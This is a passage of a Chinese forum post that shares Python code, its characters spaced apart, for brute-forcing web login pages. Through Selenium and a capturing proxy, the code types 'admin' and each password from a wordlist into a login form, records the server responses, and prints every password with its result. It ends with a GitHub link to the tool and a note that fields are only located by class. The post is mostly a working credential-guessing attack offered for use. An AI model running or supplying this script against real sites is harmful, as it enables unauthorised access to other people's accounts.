i v u - i n p u t - l a r g e   i v u - i n p u t - w i t h - p r e f i x ' ] " ) . s e n d _ k e y s ( u s e r n a m e ) # 输 入 用 户 名 s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' i v u - i n p u t   i v u - i n p u t - l a r g e   i v u - i n p u t - w i t h - p r e f i x   i v u - i n p u t - w i t h - s u f f i x ' ] " s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . s e n d _ k e y s ( p a s s w o r d ) # 输 入 用 户 名 s e l f . c h r o m e . f i n d _ e l e m e n t _ b y _ c s s _ s e l e c t o r ( " [ c l a s s = ' c l a s s _ n a m e ' ] " ) . s e n d _ k e y s ( K e y s . R E T U R N ) # 点 击 登 录 d e f   w g e t _ r e s p o n s e ( s e l f ) : r e s u l t   =   s e l f . p r o x y . h a r f o r   e n t r y   i n   r e s u l t [ ' l o g ' ] [ ' e n t r i e s ' ] : _ u r l   =   e n t r y [ ' r e q u e s t ' ] [ ' u r l ' ] i f   " p a s s w o r d "   i n   _ u r l   a n d   " u s e r n a m e "   i n   _ u r l : _ r e s p o n s e   =   e n t r y [ ' r e s p o n s e ' ] _ c o n t e n t   =   _ r e s p o n s e [ ' c o n t e n t ' ] #   获 取 接 口 返 回 内 容 s e l f . r e s p o n s e _ r e s u l t . a p p e n d ( _ r e s p o n s e [ ' c o n t e n t ' ] [ ' t e x t ' ] ) s e l f . r e s u l t   =   d i c t ( z i p ( s e l f . p a s s w o r d _ l i s t ,   s e l f . r e s p o n s e _ r e s u l t ) ) d e f   r e s u l t _ h a n d i n g ( s e l f ) : f o r   k e y , v a l u e   i n   s e l f . r e s u l t . i t e m s ( ) : p r i n t ( " 密 码 ： { k e y }   : 结 果 ： { r e s u l t } " . f o r m a t ( k e y = k e y , r e s u l t = v a l u e ) ) d e f   e n d _ e n v ( s e l f ) : t r y : s e l f . s e r v e r . s t o p ( ) s e l f . c h r o m e . q u i t ( ) f i n d _ n e t s t a t   =   o s . p o p e n ( " n e t s t a t   - a n o   |   f i n d s t r   8 0 8 0 " ) # 开 的 什 么 端 口 杀 什 么 端 口 的 进 程 p i d   =   f i n d _ n e t s t a t . r e a d ( ) . s p l i t ( ) [ 4 ] k a i l _ p i d   =   o s . p o p e n ( " t a s k k i l l   / F   / P I D   { P I D } " . f o r m a t ( P I D = p i d ) ) p r i n t ( k a i l _ p i d . r e a d ( ) ) r e t u r n   1 e x c e p t   I n d e x E r r o r   a s   e : r e t u r n   0 B r o w e r   =   B r o w e r _ s c a n ( u r l , ' a d m i n ' , ' p a s s w o r d . t x t ' ) h t t p s : / / g i t h u b . c o m / G a m m a - l a b o r a t o r y / J s F a k 现 在 只 支 持 通 过 c l a s s 来 查 找 输 入 框 和 登 录 按 钮 ， 如 果 需 要 通 过 i d 或 其 他 标 识 ， 可 以 修 改 源 码
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理